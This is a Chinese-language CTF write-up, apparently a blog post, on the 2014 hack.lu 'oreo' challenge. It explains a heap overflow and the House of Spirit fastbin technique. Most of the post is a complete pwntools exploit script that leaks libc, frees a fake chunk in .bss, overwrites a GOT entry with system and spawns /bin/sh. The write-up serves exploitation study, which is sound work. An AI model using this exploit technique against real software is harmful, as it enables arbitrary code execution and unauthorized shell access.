美文网首页
fastbin attack house of sprit

fastbin attack house of sprit

作者: fIappy | 来源:发表于2019-01-12 10:39 被阅读0次

1.实例 2014 hack.lu oreo
题目分析
add函数通过一个全局单链表头指针指向结构链表:
00000000 rifle struc ; (sizeof=0x38, mappedto_5)
00000000 descript db 25 dup(?)
00000019 name db 27 dup(?)
00000034 next dd ? ; offset
00000038 rifle ends
其中name可以溢出将next覆盖
全局变量message_0指向unk_804A2C0 的描述,这个可打印,可编辑
.bss:0804A2A4 add_count dd ? ; DATA XREF: add+C5↑r
.bss:0804A2A4 ; add+CD↑w ...
.bss:0804A2A8 ; char *message_0
.bss:0804A2A8 message_0 dd ? ; DATA XREF: message+23↑r
.bss:0804A2A8 ; message+3C↑r ...
.bss:0804A2AC align 20h
.bss:0804A2C0 unk_804A2C0 db ? ;
漏洞形成:首先是单链表结构,当释放时会依次遍历next进行free,通过溢出修改next即可对指定内存进行free
漏洞利用过程:
通过覆盖next为got表就可以泄漏地址,再次通过覆盖next可以将message_0释放到fastbin中,然后再申请编辑
message_0为某函数的got,修改message_0为system函数地址即可.这里通过message_0实现了任意地址写.
构造fake chunk时,关键在于绕过:
这个实例给出了绕过例子:

   # fake chunk's size is 0x40
    # 0x20 *'a' for padding the last fake chunk
    # 0x40 for fake chunk's next chunk's prev_size
    # 0x100 for fake chunk's next chunk's size
    # set fake iofle' next to be NULL
    payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
    payload = payload.ljust(52, 'b')
    payload += p32(0)
    payload = payload.ljust(128, 'c')
内存:
.bss:0804A2A0 ordered_num     dd ?                   0     --->chunk head
.bss:0804A2A0                                         ; order+62↑w ...
.bss:0804A2A4 add_count       dd ?                    0x40  ---->chunk size
.bss:0804A2A4                                         ; add+CD↑w ...
.bss:0804A2A8 ; char *message_0
.bss:0804A2A8 message_0       dd ?                    ; DATA XREF: message+23↑r
.bss:0804A2A8                                         ; message+3C↑r ...
.bss:0804A2AC                 align 20h
.bss:0804A2C0 dword_804A2C0   dd ?                    ; DATA XREF: main+29↑o
.bss:0804A2C4                 dd ?                    0 
.bss:0804A2C8                 dd ?                    0
.bss:0804A2CC                 dd ?                    0
.bss:0804A2D0                 dd ?                    0
.bss:0804A2D4                 dd ?                    0
.bss:0804A2D8                 dd ?                    0
.bss:0804A2DC                 dd ?                    0
.bss:0804A2E0                 dd ?                    0
.bss:0804A2E4                 dd ?                    0x40 next chunk head
.bss:0804A2E8                 dd ?                     0x100 next chunk size 
由此看出,关键在于, chunk size, 和next chunk head 要=chunk size. 此外这个chunk size不能乱填,需要填释放到哪个fastbin里
的那个大小

总结: 关键在于利用了一个全局指针,它指向了另一片内存,这在堆溢出中经常遇到
system()的参数可以填充无用数据加;/bin/sh,前面指向失败,后面仍然执行/bin/sh
这种强制将某内存释放只需要绕过size检查即可
exp:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./oreo"
oreo = ELF("./oreo")
if args['REMOTE']:
    p = remote(ip, port)
else:
    p = process("./oreo")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('/lib32/libc-2.23.so')


def add(descrip, name):
    p.sendline('1')
    #p.recvuntil('Rifle name: ')
    p.sendline(name)
    #p.recvuntil('Rifle description: ')
    #sleep(0.5)
    p.sendline(descrip)


def show_rifle():
    p.sendline('2')
    p.recvuntil('===================================\n')


def order():
    p.sendline('3')


def message(notice):
    p.sendline('4')
    #p.recvuntil("Enter any notice you'd like to submit with your order: ")
    p.sendline(notice)


def exp():
    print 'step 1. leak libc base'
    name = 27 * 'a' + p32(oreo.got['puts'])
    add(25 * 'a', name)
    show_rifle()
    p.recvuntil('===================================\n')
    p.recvuntil('Description: ')
    puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))

    print 'step 2. free fake chunk at 0x0804A2A8'

    # now, oifle_cnt=1, we need set it = 0x40
    oifle = 1
    while oifle < 0x3f:
        # set next link=NULL
        add(25 * 'a', 'a' * 27 + p32(0))
        oifle += 1
    payload = 'a' * 27 + p32(0x0804a2a8)
    # set next link=0x0804A2A8, try to free a fake chunk
    add(25 * 'a', payload)
    gdb.attach(p)
    # before free, we need to bypass some check
    # fake chunk's size is 0x40
    # 0x20 *'a' for padding the last fake chunk
    # 0x40 for fake chunk's next chunk's prev_size
    # 0x100 for fake chunk's next chunk's size
    # set fake iofle' next to be NULL
    payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
    payload = payload.ljust(52, 'b')
    payload += p32(0)
    payload = payload.ljust(128, 'c')
    message(payload)
    # fastbin 0x40: 0x0804A2A0->some where heap->NULL
    order()#free
    p.recvuntil('Okay order submitted!\n')

    print 'step 3. get shell'
    # modify free@got to system addr
    payload = p32(oreo.got['strlen']).ljust(20, 'a')
    add(payload, 'b' * 20)
    log.success('system addr: ' + hex(system_addr))
    
    message(p32(system_addr) + ';/bin/sh\x00')#这里的message会使程序将payload作为system的参数,所以使用;将前面部分作为shell的执行失败,然后再
    #执行/bin/sh 
    
    
    p.interactive()


if __name__ == "__main__":
    exp()

相关文章

网友评论

      本文标题:fastbin attack house of sprit

      本文链接:https://www.haomeiwen.com/subject/wtpqdqtx.html